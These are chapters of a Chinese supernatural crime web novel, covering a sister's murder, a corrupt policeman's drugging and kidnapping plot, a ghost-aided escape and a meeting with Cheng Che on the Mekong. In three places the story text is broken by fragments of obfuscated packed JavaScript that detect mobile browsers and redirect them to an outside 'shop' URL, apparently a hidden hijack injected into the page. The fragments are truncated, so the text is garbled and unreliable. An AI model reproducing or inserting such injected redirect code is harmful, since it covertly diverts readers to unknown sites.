这是什么? 女鬼看到柳颂的反应,一脸欣喜:“你是不是能看到东西?你看到什么了?” 柳颂无暇顾及女鬼,慌忙拿起手机拨打姐姐的电话。 柳颂看了眼窗外的夜色,心中的不安越来越强烈。 不对劲,都到这个时间点了,按姐姐的性格早就给她打电话催她去餐馆了。不可能到现在一个消息也没有。 “您好,你所拨打的电话已关机,请稍候再拨……” 柳颂的心凉了半截,拽起背包就往外跑。 姐姐肯定出事了! 难道她看到的都是真的? 女鬼连忙跟在后面:“喂,你怎么了?” 柳颂驱车一路飞驰,还未到时便看到餐馆处火光冲天。 警方拉起了警戒线,消防车疯狂地往外喷着水。 柳颂脚步发软,踉跄着往火里冲。被警察一把拦住:“里面太危险了,不能进去。” 柳颂双眼通红,一把推开警察:“让开!我姐姐还在里面!” 几个警察挡在柳颂面前,一个年轻的警察站出来,用蹩脚的中文劝说道:“请您冷静一点,现在火太大了,您不能进去。” 柳颂用力推着面前的警察,却被紧紧钳制住。看着熊熊烈火,她绝望地跌坐在地。 年轻警察面露担忧,嘴唇一开一合,柳颂却什么都听不到了。世界好像突然安静了下来。 *** 警局大厅,人来人往,每个人都行色匆匆。 “有两个帮派在东南方向的一个废弃工厂火拼?那就等他们打完再告诉我!” “银行遭到了恐怖袭击?我们马上过去……” …… 周遭的嘈杂与柳颂无关,她坐在大厅角落的长椅上,双眼无神,满脸憔悴。 大火烧了好久终于被扑灭,姐姐和姐夫的尸体被烧得面目全非。警方办案磨磨唧唧,柳颂添了不少钱后终于让警方办了加急处理。他们连夜调查现场、进行尸检,终于在第二日凌晨五点给了她调查结果。 警方初步认定这场大火是由餐馆煤气罐爆炸引起的。根据现场检查结果,警方推断餐馆老板夫妻二人当时进行了剧烈的争吵,女方将男方割喉后畏罪自杀,临死前点爆了煤气罐。 当时在太平间外的柳颂听到这个结果气极反笑,简直荒谬! 就算她没有燃香看到姐姐死时的场景,也绝对不会相信姐姐会杀了姐夫然后畏罪自杀的。 她要求警方重新调查,警方却想草草结案。争执中她失手锤了其中一个老警员,就被带到了这里。 年轻警员莫特用玻璃杯接了杯热水递给柳颂,看柳颂没接,他把杯子放到长椅边。 “柳小姐,我们知道您接受不了,但事实就是这样,现场找不到第三个人的指纹。根据尸检结果显示,陈明的致命伤是柳竹身上的匕首所致的,而柳竹胸口的匕首上也只有她自己的指纹。” “不可能,现场还有一个男人。而且以我姐姐的性格是绝对做不出这种事的。” 莫特叹了口气:“您并没有办法证明现场还有第三个人不是吗?这件案子已经结案了,我们这里人力资源紧张,除非您拿出证据,否则我们不可能浪费警力去查了。” “莫特,过来一下!” 被柳颂锤到头的老警员李安顶着一个额头上的大包,在远处拐角处冲莫特招了招手。 “柳小姐,看在您刚失去亲人的情况下,李警官不追究你袭警的责任,你快走吧。” 莫特又劝了柳颂两句,摇了摇头,朝李安走了过去。 李安从怀里掏出一个纸包:“莫特,把这个给她喝了。” 莫特脸色一沉:“师父,这是什么?” “这不是你能管的。” 莫特:“我不去。柳小姐虽然打了你,但她当时神志不清,你伤得又不重,怎么能这样报复她呢?” 李安踹了莫特一脚:“我是这么小心眼的人吗?” 他左右看了看,凑近莫特耳边道,“这是上面的意思,有人花钱赎她。” “赎人需要下药吗!” 李安探出头偷偷看了柳颂一眼,见她没注意到这边才继续开口:“嚷嚷什么!这不是你我能管的,别引火上身!你刚进警局不懂这些,听我的就得了。别管这些,为了你自己,也为了你的家人。” 莫特捏着李安递过来的纸包,面色铁青。内心一番天人交织,最终将纸包狠狠往地上一摔,抬脚就要朝柳颂走去。 “这小崽子!” 李安额间狠狠一跳,一掌劈在莫特后颈,将软绵绵倒下去的莫特拖到房间里,深呼吸两口气后从拐角处走了出来。 他扬起一个笑容,脚步匆匆:“柳小姐。刚才法医打电话过来说尸检结果有误,在受害者陈明的指甲里发现了第三个人的皮屑和血迹。” 柳颂猛地站起身:“真的吗?” 李安端起长椅边上的那杯热水,递给柳颂:“真是抱歉,是我们办案的时候不仔细,才会遗漏这么重要的线索。皮屑已经被送去检验了,结果出来后我们会第一时间通知你。你现在比较虚弱,我派人送你回去休息吧?” 柳颂接过玻璃杯:“不用,我不累,在这里等着就行。” 李安瞥了一眼玻璃杯,满脸歉意与担忧。他指了指柳颂干裂的嘴唇:“先喝口水吧。要不然凶手还没找到,身体就先垮了。” “谢谢。”柳颂将玻璃杯凑近嘴边,眼见就要碰到杯子里的水,却突然停住。 “对了,李警官,你头上的伤没事吧?”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14208628|151062||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 李安摆了摆手:“不碍事。”他看了一眼手表,已经下午六点了,“检测结果最早也要明天才能出来,要不你先回去吃顿饭?” 柳颂掏出手机转账:“给我办个加急,我今天晚上就要知道结果。” “好。那您去旁边休息室等一会,我去催一下,今天晚上就给您答复。” 柳颂点了点头,在李安的注视下喝了口水,冲他点了点头后走进了休息室。 *** “吱呀——” 李安打开休息室的大门,昏暗的灯光下,满脸憔悴的少女晕倒在沙发上。 “快点,从后门走。” 两个三十岁左右的男人走进了休息室。一个肌肉发达,头上光溜溜的;另一个身材瘦小,留着八字胡。 光头一米九的个子,满脸横肉,像拎小鸡仔一样把柳颂扛在肩上就要往外走。 八字胡一把拽住他:“先把她绑上。” 光头嗤笑一声:“你也太胆小了,就她这小体格子能翻出什么浪花?” 八字胡掏出绳子把柳颂绑好,又用胶带缠住她的嘴。 “小心驶得万年船。” 警局后面,一辆小型货车停在路边。 光头将柳颂扔进车厢,嘴里叼着一根未点燃的烟,一屁股窝进驾驶座里。 “啪哒!”打火机亮起火光,他摇下车窗,缓缓往外吐出一口烟,右手不耐烦地在方向盘上敲着。 八字胡仔细检查了铁皮车厢的锁后终于拉开副驾驶的车门坐了进去。 “真墨迹。”光头又吐出一口烟,一脚油门踩了下去。 八字胡扇了扇车内的烟,眉头皱起:“谁像你一样?做事毛毛躁躁的,脑子又不好使,也就这一身力气能用了。” “你脑子好使,还不是被派来打杂?” 八字胡靠在椅背上,眼睛微闭:“说你头脑简单真是没冤枉你,你真以为这是杂活?要不是老大的母亲出事,你猜他会不会亲自过来?” “什么意思?” 光头被他这句不清不楚的话勾得心里痒痒的,偏八字胡老神在在,不准备继续说下去了。 “你这人真是……哪有话说一半的?”他看了眼身后的铁皮车厢,了然道,“你快说,给这女人下的迷药量都能放倒一头牛,她一时半会儿醒不了的。” 八字胡睁开眼睛:“你跟在老大身边的时间不长,你不知道,老大有个心病——” 光头耳朵竖起。 八字胡神秘兮兮:“老大一直在找一个人。每年他都会在暗室燃香,之前那些香都是乱飘,直到前几天,燃起的香终于指出了一个方向!你记不记得前天老大情绪突然很激动?” 光头点了点头,确实,老大平时不苟言笑,前天却一反常态地和他们一起喝酒了。 他福至心灵:“你是说,后面的那个女人,就是老大一直在找的人?” 八字胡勾起唇角:“出发前,老大特意叮嘱不可伤她性命。这是什么意思……你仔细品品。” 光头暧昧地笑:“想不到,咱老大都奔三的人了,还这么纯情呢?” 后车厢。 柳颂耳朵贴在车厢连接处听着驾驶室里的笑声,从袖口处探出一小块玻璃碎片摩擦着手腕处的绳子。 这是她在警局休息室时打碎玻璃杯子,偷偷藏在袖子里的。。 5. 黑手现身 当时,柳颂看到李安的笑脸就觉得不对劲了。 这个李安,上午的时候还在背后猜测陈明偷情被柳竹这个妒妇杀死。 被她不小心听到后揍了一顿,下午就能不计前嫌关心起她的身体来了? 虽然知道这边的警察不办实事,但没想到他们竟然能做出下药绑架这种事。 车厢摇摇晃晃,绳子被磨断,柳颂一把撕下嘴上的胶带喘了口气。 光头和八字胡口中的老大八成就是那个帽子男,听八字胡的意思,这个帽子男找了她好久了,他到底有什么图谋,为什么要费尽心思抓她? 帽子男杀柳竹和陈明难道就是为了引她出来?抓了她又为何不直接杀了她? 柳颂轻手轻脚来到车尾,压低声音:“你在吗?” 无人回答,只有车子行驶的声音。 “那个喜欢抠眼珠子的阿飘,你在吗?” 女鬼不知从哪钻了出来,手里还握着自己的眼珠子:“我不叫喜欢抠眼珠子的阿飘,还有,你这前缀也太长了吧。” 见柳颂盯着自己手里的眼珠子,女鬼轻咳两声,不自在地把眼珠子塞了回去。 “你终于想起来我了?” 柳颂指了指后车厢的门:“你能把这个弄开吗?” “怎么可能?”女鬼一摊手,“别说开锁了,我现在就是控制个灯光都已经很费劲了。” 看来只能自己想办法了,柳颂坐了回去。 女鬼飘过来:“小柳儿,昨天晚上你是不是顺着飘出的烟看到了你姐姐被杀的画面?你看到凶手了?” “你怎么知道?” “废话,你昨天晚上反应那么大,肯定看到了什么。这里也就你姐姐能让你这样吧?” 柳颂看着女鬼:“我是说,你怎么知道有凶手的?你不相信警察的话吗?” 女鬼顿了顿,正色道:“我跟在你身边时见过你姐姐和姐夫,他们不像是李安说的那种人,应该是有人杀了他们后将现场伪装成情杀的。” 柳颂眼眶有些发酸,她偏过头去,半晌又转回来:“我确实看到凶手了。你如此确定我能燃香寻尸,那你有没有想过,这个世界上还有其他人也能办到?” “按照我们猜想的绳子理论来说,应该会有吧。”女鬼有些犹豫,“虽然不知道要满足哪些条件才能看见那根绳子,但就像世界上不只有一个人能看见鬼,应该也不只有一个人能感受到那根绳子吧?” “既然如此,你为什么非得找我?” “我只知道你能看到啊。” “那我告诉你,我知道另一个人也能看到,你能去找他帮忙吗?” 女鬼摇了摇头:“不去,我等的人就是你。再说了,你不是都答应帮我了吗?”她脸色一变,“你想反悔?不行,你不能言而无信!” 柳颂垂下眼眸,这女鬼应该不是帽子男那一伙的。本来还想从她口中套出更多信息,但现在看来她是真的什么都不记得了。 “你想让我帮你也不是不行,但你得听我的话,帮我做事。” 女鬼眼睛一亮:“真的吗?只要你帮我找尸骨,从现在开始,你让我往东,我绝不往西!” 柳颂舔了舔干裂的唇角:“好。” *** 月亮隐在云层里,夜色浓郁的如黑色墨汁。 小型货车在湄公河边坑坑洼洼的土路上驶过,车后一片尘土飞扬。 驾驶室内,八字胡歪着脑袋靠在椅背上,嘴唇微张,鼾声已起。 “啊!” 货车猛地往旁边一偏,发出巨大的刹车声。 八字胡被惯例狠狠甩出,又被安全带拉回,重重地砸在椅背上。 “要死啊你!鬼叫什么!” 八字胡揉着被撞得生疼的脑袋,看向光头。 只见光头双手紧握方向盘,脸色惨白地盯着前方:“我好像看见鬼了。” 八字胡随着光头的目光往外看去,外面一片漆黑,只有两束惨白的车灯照在坑洼的小路上。 光头在旁边声音发颤:“我刚才看见路前面有一个白衣女人,车灯照过去,一点影子都没有……” 八字胡喉结动了动:“大晚上的,你别乱说话。这世上哪有鬼?准是你开夜车太累,眼睛花了吧。” “咚!” 后车厢一声巨响,这是重物撞击铁皮的声音。 光头目视前方,脖颈僵硬:“你、你听到了吗?” 八字胡:“不会是后面的那个女人醒了吧?” “迷药剂量这么大,醒不了吧。不会是、是女鬼跳上来了吧?” 八字胡一巴掌拍在光头脑袋上:“这么大的个子,胆子怎么比针眼还小!不过这个声音确实不像是那个瘦巴巴的女人能弄出来的。” 他皱起眉头,“不行,得下去看看,这个女人一定不能出事。” “别下去了吧……我们赶紧走吧。” 八字胡恨铁不成钢地啐了他一口:“就知道指望不上你,你在上面待着,我下去看看。” 说完,掏出手电筒就打开车门跳了出去。 四周静悄悄的,连一丝风声也没有。 手电筒的光在四周闪了闪,最终停在后车厢的锁上。 锁完好无损,那刚才是什么声音呢? 八字胡打开锁,拉开厚重的车门。 一道人影唰地蹿了出来,双腿缠住了他的脖子将他扑到在地。 八字胡本就瘦弱,此刻脖子被绞住,更是如毡板上的鱼,双腿不断地扑腾着,喉咙发出“嗬嗬嗬”的声音。 光头听到后面的声响,心中一跳暗道不妙,解开安全带就要开门下车。 下一秒,只觉毛骨悚然,直直地僵在原地。 只见玻璃车窗上贴着一张惨白的年轻女人的脸,双眼睁大一眨不眨地盯着他。 女人的眼睛越睁越大、越来越红。 光头全身血液凝固,只觉得那眼珠子下一秒便会崩破眼皮跳出来。 不负他所望,通红的眼珠子“唰”地一下冲了出来,像他小时候常玩的游戏中的豌豆射手吐豆子一般崩到了玻璃上。 “鬼、鬼啊!” 光头白眼一翻,只觉身下一热便失去了意识。 *** 正是多雨的时节, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14208629|151062||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 闷热、潮湿。 湄公河边的土路本就坑洼,被雨水一泡,更是泥泞无比。 噼里啪啦的雨滴砸在躺在泥汤中的两个泥人身上。 其中一个泥人动了动,缓缓睁开双眼。 八字胡猛地站起身,狠狠抹了一把脸,甩出一地的泥点子。 瓢泼大雨中,他慌张地向四周张望,只见周围一片空旷,小货车和车中的一切都不见了踪影。 他跌跌撞撞地奔向路边的另一个泥人,抓住光头的肩膀使劲晃了晃:“快醒醒!那个女人逃跑了。” *** 红棉私人医院。 安静的病房里回荡着仪器的嘀嗒声,一道手机铃声响起,打破了这一室寂静。 梁安里看了一眼病床上熟睡的中年女人,捂住手机悄悄走了出去。 “老大,不好了,那个女人跑了。” 听到电话那头光头焦急的声音,梁安里眉头一皱:“怎么回事?” “老大,你相信这个世界上有鬼吗?” 梁安里:“……” 那头的声音还在继续:“真的,老大,我昨天晚上看见鬼了,女鬼把我们的车和那个女人都劫走了。” “你在老大面前胡说什么。”那头似乎发生了争吵,紧接着八字胡的声音传了过来,“老大,你别听光头瞎说,我看他就是为了逃避责任才这样说的。是我们失责,让那个女人给逃了。” 梁安里:“不管你们用什么方法,必须把她给我找回来。否则,你们俩也不用回来了。” 挂断电话,梁安里深吸两口气,若无其事地推离开了病房门。 病床上的中年女人已经醒了过来,看见梁安里进来,缓缓冲他招了招手。 梁安里快步走了过去,轻轻将她扶了起来,在她的背后垫上两个枕头。 “妈,你现在感觉怎么样?” 武银珠艰难地坐好,瘦弱蜡黄的面上一脸严肃:“我没事,人找到了吗?” 梁安里整理被子的手一顿,又极其自然地理了理被角:“快了。” “你多上点心,你爸和你爷爷怎么死的难道你都忘了吗?年纪轻轻,三十而亡!” 想起他们死时的惨状,武银珠面露怨恨,“当年要不是他们家贪心、背叛我们梁家,你太爷爷也不会……这么多年活香和死香都在我们梁家手里,到你这代时却只剩下了活香,一定是他们家出了新的掌香人。不知道这种情况下,你还会不会像你爷爷和你爸爸一样,但你快三十了,我们不能去赌,你知道吗?” 梁安里点了点头。 父亲死时,他才五岁。他对父亲的印象不多,只记得父亲的个子很高很高,总喜欢用宽厚的大手托起他。小小的梁安里坐在父亲的脖子上,只觉得自己坐上了飞机,地面变得如此遥远,地上的一切变得那么小。 后来父亲死了,他们家以前得罪过的人都找上门来,妈妈一个人带着他在这异国他乡东躲西藏。直到他能掌香,日子才渐渐好过起来。 梁安里目光一暗,就算不为了自己,他也要找到那个女人。 毕竟,背叛者的后代不配掌管死香。 6. 水上浮村 湄公河边,一片悲戚。诵经声不绝于耳,陈明父母手捧骨灰盒立于河边,亲友在一旁低头默哀。 当地流行水葬,将骨灰放到河中随水流飘走。人们相信,水能让逝去之人变得纯净,使灵魂脱离□□,进而开始新的生命。 周围不乏看热闹的人群,远远地形成了一个包围圈。 “死的听说是对小夫妻,不知道那个小媳妇受了什么刺激,杀了她丈夫后一把火把他们的餐馆给烧了,那火烧的,那叫一个大呦,把她自己也烧死在里面了。” “真是造孽……” “不过男方家也真是善良,看女方没有亲人、尸体扔在火葬场没人管,还是出钱帮忙火化了。” 不远处的水果摊前,脑袋上包了一圈绷带的光头用手挡住刺眼的阳光向河边眺望。 “我们在这边等了就么久了,那个女人真的会来吗?” 八字胡啃了一口手中的西瓜:“今天是她姐姐和姐夫的葬礼,我不信她不过来。我们就在这里守株待兔,总能等到她。” 一想到那个可恶的女人,他的脖子就隐隐作痛,手里的瓜都不甜了。 柳颂换了一身装扮,用当地买来的水布蒙住头脸,隐在人群中远远地注视着陈明父母手中的骨灰盒。 那是她的姐姐,是她在这世上唯一的亲人,她再也没有姐姐了。想到这里,她的心脏一抽一抽地疼。 “让一下!” 一头板寸的年轻男人快步穿过被人群堵塞的街道,柳颂随着人群往旁边退了退,再抬头时,脑子“嗡”地一声响。 水果摊前,八字胡正死死地盯着她,手里还拿着半块西瓜。 糟了! 见柳颂拔腿就跑,八字胡把手中的瓜皮往地上一扔,一掌拍在光头的光头上:“别吃了,快追。” 柳颂如一阵风般穿过狭窄杂乱的街道,撞翻了路边的衣服小摊。 下一秒,散落在地的布料被印上了漆黑的鞋印,光头和八字胡“哼哧哼哧”地追了上去。 身后的摊主破口大骂:“赶着去投胎啊你们!” 顾不得身后的人仰马翻,三人你追我赶,穿过一条又一条街道。 突然撞到一个年轻男人,柳颂情急之下飙出一句中文:“不好意思。” 随后顾不得男人反应,飞快地跑走。 柳颂刚拐进一条丁字小巷,就听见前方传来一阵脚步声,五六个东南国壮汉出现在前方的巷口。 她转过身,只见身后是一路追过来的光头和八字胡。 “她在那里!” 不是吧?怎么来了这么多人。 柳颂太阳穴一跳,朝另一条路跑去。 “唔……” 突然,一只手从旁边伸出来一把抓住柳颂的胳膊,将她拽到了两道墙壁之间的缝隙里,接着拉过一旁的破木板挡在了外面。 一只大手捂住了她的嘴。 柳颂抬起头,面前的男人二十四、五的年纪,身高目测一米八五往上,一头利落的板寸,刀削斧凿的下巴上冒出了青色的胡茬。 若是一个人五官与轮廓平平无奇,那么板寸最能暴露这个人脸型的缺点。相反,若是一个人有精致的五官和硬挺而又流畅的轮廓,这种发型则更能将这些优点展现出来。眼前的男人显然属于后者。 这正是柳颂刚才不小心撞到的那个人。 程彻修长的食指竖起放在唇前,示意她不要说话,一双大而有神的桃花眼正透过破木板的缝隙观察着外面的情况。 二人躲藏的空间过于狭小,以至于不得不紧紧挤在一处。柳颂的头离程彻的胸膛只有不到一指宽的距离,男人急促而有力的心跳声穿透她的耳膜。 似是觉得身旁的人过于安静,程彻回过头来,一眼便撞进一双干净的眸子里,那对大且黑的眼珠正一瞬不瞬地看着他。 掌心突然有些发烫,似有电流自掌心传播开来,酥酥麻麻,一路传到心脏。他像触电一般,慌忙松开柳颂,将无处安放的手撑到了对面的墙壁上。 凌乱的脚步声跑过,八字胡的声音在外面响起:“往那边追。” 半晌,外面归于平静。 二人又等了一会,程彻拉开破木板探出头往外看了看。 “出来吧,他们走了。” “多谢。” 柳颂从墙壁缝隙中走出,“你是京国人?” 程彻点了点头,道:“举手之劳而已。刚才听到你说中文,想着大家都是同胞,能帮就帮了。” 想起那几个东南国大汉,程彻好看的眉头微皱,“不过你跑什么?他们也在抓你吗?” 也? 柳颂眼神一亮:“你知道他们是谁?” 程彻点了点头:“南城地头蛇吴昆的手下。吴昆,早年靠倒卖玉石发家,在黑白两道都能排得上名号。他这个人睚眦必报,你惹到他,恐怕不好脱身。不过你都不知道你惹到的人是谁?” 他只是顺口一问,不指望听到柳颂回答,“作为同胞,我给你一个忠告:若是真的和吴昆结下了梁子,还是尽早回国为上。” 说完,他警惕地四处看了看,转身离开。 柳颂看着他的背影,心中思绪万千。 这个男人风尘仆仆、连胡茬都没刮,这几天定是一直在躲避追杀来不及收拾自己。 他是怎么惹到吴昆的呢?是单纯有仇、还是他身上也有什么值得吴昆不惜大费周章也要得到的东西? 吴昆派出同一批人抓她和这个男人,难不成这个男人也和香有关? 无论哪种原因,目前看来这个男人和她都不是敌人。她对南城不熟,看这个男人对吴昆和南城都比较了解的样子,不妨跟在他身边多打探一些消息,总好过自己无头苍蝇般乱转。 她快步跟上去:“今天还是要多谢你,我刚来这边不久,要不是你,我都被人追杀了还不知道惹到的人是谁呢。” 程彻脚步慢了下来:“不用谢,不过你在这边有亲戚朋友吗?” 柳颂神色黯淡下来:“没有……我本来是来这边探亲的,不过他们不在了。我之前都住在酒店。” 程彻:“酒店是不能再回去了,吴昆肯定会派人守在那里。” 他看着眼前的女孩,眼下青黑、面容憔悴,心下有些不忍,“你还有地方去吗?我知道一个地方,吴昆暂时应该发现不了,你要跟我过去吗?” “真的吗?太好了。”柳颂抬头,“对了,我叫柳颂,还不知道你叫什么呢?” “程彻。” *** 洞里萨湖,水上浮村。 这是一座漂浮在水上的村庄,密密麻麻的船屋浮在泥黄色的水面上,湖边是杂乱排布的高脚屋,一眼望不到尽头。功能健全的船屋大多彼此相连,无惧湖水的涨落和风浪。河道里停满了木头小船,随着湖面的起伏飘来荡去。几只水鸟盘旋着落在船上,啄食着上面的残羹冷炙。 这里的人出行全靠小船,可以说上至八十岁老人、下至七八岁孩童,都能很熟练地驾着小船到处行走。 浮村并不富裕,但商店、修理店、药店等生活设施倒是一应俱全。 程彻拉动小船上的发动机,有些破旧的发动机“突突突”地响着,冒着烟将小船推离岸边。 “住在这里的人鱼龙混杂,多的是没有户籍和身份的人,想要在这里找人不是件容易的事情。我在这里买了个房子,暂时还是安全的,你先在这里住下吧。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14208630|151062||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 柳颂坐在船尾,看着电动机在水下搅起的泥黄色漩涡,闻言回过头来:“好。” 小船驶过一座蓝色铁皮船屋,门前立了块木板,上面用油漆写着“阿扎杂货铺”。 船屋前的木板上,一个一米七左右的黑瘦青年正忙着将一群白胖的猪仔赶进一旁的猪圈里。 柳颂有些惊奇:“水上还能养猪?” “对呀。” 不等程彻说更多,黑瘦青年对着这边大吼一声:“程彻!” 说着,三下五除二将剩余的猪仔赶进猪圈,一把关上了猪圈的木门,踩着门前的木板一蹦,像个猴子似的蹦到了程彻的船头,将小船震得左摇右晃。 他操着一口流利的英语对程彻喊道:“你可算回来了!” 上船后,阿扎才看到柳颂。许是有生人在此,阿扎一时有些局促。他咧开嘴冲柳颂笑了笑,随后凑到程彻身边,小声道:“你托我打听的事儿……有着落了,黑爷半个月后会再开一次船。” 他眉毛挑起,“这事我可就跟你说了,够意思吧!” 程彻熟练地掏出30美元:“谢了。” “小事儿。”阿扎接过来一把揣进怀里,侧身看了看柳颂,对着程彻挤了挤眼,“那你先忙,我走了。” 程彻:“等会送点东西过来。” “好嘞!” 阿扎走的时候斯文多了,双手扶着屋前的木桩轻轻下船,没再将小船震得险些翻船。 “那是你朋友吗?” 程彻点了点头:“他叫阿扎,在这边开了个杂货铺做点小生意什么的。你要是缺什么可以从他那儿买,他虽然爱财了点,但人还是挺不错的。” …… 小船在一座红色高脚屋前停下。 高脚屋,顾名思义,是用数根粗壮的木桩将房子高高托起、撑离地面的房屋。高脚屋分为上下两层,上层住人,下层无墙,主要用来饲养牲畜、堆放杂物。 这边属于热带季风气候,气候湿润,雨量充沛。雨季时湖里面水量暴涨,这种高脚屋能有效避免房子被淹,既能防潮通风,又能抵御蛇虫侵扰。 程彻用麻绳将船绑在房前的木桩子上,站在楼梯上招呼着柳颂:“上来吧。” 楼梯的木地板有些老旧,人踩上去会发出“咯吱咯吱”的声音。房子不大,却收拾得十分整洁,窗台上还摆放着几盆绿萝和仙人掌,不难看出屋主是个热爱生活的人。只是那绿萝的叶子有些萎靡,想来是有段时间没浇过水了。 程彻拿出一瓶矿泉水将瓶盖递给柳颂:“我好多天没回来了,没烧热水,先喝点这个吧。” “谢谢。”柳颂喝了一口水,状似随口一提,“你这里有香吗?” 程彻有些茫然:“什么香?” 他的神情不似作假,柳颂继续试探:“祭祀用的香呀。我听说这边的人都信佛,大多数人家都会在家里烧香供奉,几乎每家都会备上几支香呢。” “害,我又不是南城人,不信这些。”程彻给自己也拿了瓶水,“你信佛吗?这边倒是有卖香的,阿扎的船上就有。我待会正好要在他那里买一些日用品,你要是想要香的话,我顺手帮你买了。” 提起香,程彻一点反应都没有,难道他真的不知道? “我待会自己去看看就行。”柳颂揭过这个话题,“看你对南城挺熟悉的,你是在这边定居了吗?” “也不算吧。”程彻灌了一口水,“我是来这边找人的,刚开始没打算待太长时间,没想到这一找就是三年。我一看这种情况,干脆在这边买了个房子,慢慢找算了。” 他也在找人?这么巧吗?柳颂眼神微闪:“看来这个人对你很重要啊。” “重要,当然重要。” 7. 程彻往事 程彻原本是个孤儿,七岁时□□爷程显明收养。 程显明,1941年生人。年轻时和女朋友阿风一起在乡村当教师。一天,女朋友说要回家和家人商量他们的婚事,让程显明等她消息,没想到这一走就再也没有回来。 程显明苦等不到,决心去阿风的家乡找她。谁知还未动身,他就被同乡陷害,说他具有反京国倾向,省里把他派到京国边境的一个封闭山村进行劳动改造。 据他自己回忆,那段时间真不是人过的日子。山村排外,尤其是村里的那几个懒汉,向来看不起他这种城里来改造的人,于是他们使劲地作践他。他每天白天被迫像牲口一样去劳作,晚上回到臭气熏天的猪圈里睡觉。 他整宿整宿地睡不着觉,身上被那几个懒汉打的伤口隐隐作痛,恼人的蚊蝇在他身边飞来飞去。在无数个难眠的夜里,他曾一度熬不下去,可他不能死,他还要去找他的阿风。 他的阿风娇气得很,胃不好还偏偏挑食。学校里都是做大锅饭,惯爱放白菜、豆芽和豆腐,她不爱吃这些,但她也不是麻烦别人的主,自己一个人抱着个馒头在那里蘸菜汤吃,那可怜巴巴的模样看得他心脏像被一只大手攥住一般喘不过气。 于是他帮她把碗里的白菜、豆芽和豆腐都挑走,把自己碗里的肉和其他的菜盛给她。 小姑娘终于能吃下饭了,边吃边冲他笑,笑得脸上露出两个浅浅的梨涡,笑得眼睛都弯成了月牙。 程彻还记得程显明说到这里的时候,满是皱纹的脸上浮现出羞涩的笑容,好像又回到了那个青涩的、像汽水一样冒着泡泡的少年时代。 躺在猪圈里的程显明总会想起阿风。这么好的小姑娘,谁知只是让她一个人出了趟远门,从此就如石沉大海,再也没了消息。 只要一闭上眼睛,程显明就忍不住往最坏的结果想。他后悔、他自责,他不该听阿风的话让她自己回家。什么担心他们都走了的话村里的教师就不够了;什么她家里规矩重,他贸然跟她回家会惹她家里人生气……他就应该跟她一起走,哪怕惹她生气呢?有什么比得上她的安全更重要呢? 当时他就发誓,若是能熬过这一劫,他就立马去找她,无论天涯海角、刀山火海,活要见人、死要见尸。 靠着这点念想,程显明熬过了一个又一个暗无天日的日子,终于撑到了劳动改造结束的那一天。 他迫不及待地跑去阿风的家乡,那是个东部的沿海小镇,他怀着莫大的希望赶过去,等他赶到时却扑了个空:她们家早就搬走了。 经过程显明多方打听,得知阿风回家后没几天就和她哥哥一起跟着一群外地人出门了,只留下已经怀孕的嫂子在家。听说他们好像去了一座山,具体去干什么不清楚,只是这一走就再也没有回来。第二年阿风的嫂子生下孩子后也带着孩子走了。 至此,程显明彻底失去了阿风的消息。 为了找阿风,程显明开始做一些小生意,后来赶上了改革开放的风口,快速积累了财富,成了有名的企业家。 这么多年,他一直都没有放弃寻找阿风,甚至重金登报找人。他几乎跑遍了全国,没事就往各地大山里钻,可惜一直都没有阿风的消息。 他一生未娶,六十多岁时还是孤家寡人,于是跑到孤儿院领养了程彻。 直到五年前,已经七十四岁的老爷子甩给程彻一封信一个人偷偷走了。 信中大致意思是:他终于找到阿风的消息了,阿风大约是被人害死了,他都一把老骨头了,早就看透了许多事,只有这一个心愿未了,他要查清楚是谁害了阿风,他要去给阿风收尸。至于他名下的财产,他已经立好了遗嘱,一半捐出去,另一半就留给程彻了。还特意嘱咐程彻不用找他,找也找不到。 程彻哪能真的不找他,老爷子年纪这么大了,万一在外面出个好歹怎么办? 于是程彻放下手头工作出去找了一阵子,谁知这老爷子也够狠心的,真一点线索都没给他留。 直到三年前,他接到了一个跨境电话,是老爷子打来的,只有一句话:小彻啊,我不甘心、不甘心呐…… 电话挂断,程彻再拨过去时已经关机。 他查了电话号码的归属地:东南国,南城。 *** “后来呢?老爷子有再联系过你吗?” 问完话,柳颂才发觉这个问题蠢了些:若是联系了,程彻怎么可能到现在还在找。 果然,程彻摇了摇头:“那是干爷最后一次联系我。接完电话我就赶来了这边,一开始没意识到,找了一段时间才咂摸出味儿来。干爷给我打电话时喘得厉害,说话都十分吃力,怕是遭遇了不测,拼着最后一口气给我打了那个电话。也不知道他有没有查到有关阿风的线索,或许他查到了但无力报仇,又或许……还没来得及查出什么就遭遇了不测。” 柳颂不擅长安慰人,只能伸出手轻轻拍了拍程彻的肩膀。 